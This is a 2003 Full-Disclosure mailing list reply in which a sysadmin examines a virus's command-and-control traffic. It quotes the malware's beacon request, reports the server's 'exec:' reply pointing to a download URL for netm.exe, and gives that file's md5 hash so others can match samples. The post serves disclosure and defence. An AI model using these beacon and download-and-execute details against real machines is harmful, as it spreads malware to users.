On Tue, 25 Nov 2003, Lorenzo Hernandez Garcia-Hierro wrote: > Hi, > Look this line: > GET /events.php?%s HTTP/1.1 > Accept: */* > Connection: Keep-Alive > Host: finance.red-host.com > id=%s&ip=%s&speed=%d&timeonline=%d > finance.red-host.com > so imagine this: > id=[autonumeric ]&ip=[internet address by gestaddrbyhost]&speed=[connection > speed]&timeonline=[seconds/minutes]
Just for fun, I pointed my web browser at http://finance.red-host.com/events.php and all I got back was: exec:http://wendy35.phpwebhosting.com/netm.exe I retrieved that file, and running it 'strings' does imply that it will contact a remote website. It could be a copy of the virus (I have yet to recieve one yet), giving it another way to distribute itself, or for the author to distribute improved versions. Looking at the website at http://finance.red-host.com gives: This account has been suspected by red-host.com administration. The md5sum of that downloaded file is: a930c6cb48b7bd66af7069c8ef90882f netm.exe in case anyone wants to try and match it up with the files they have. -- Steven Harrison Unix Systems Administrator N Statement lost, 0:1 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
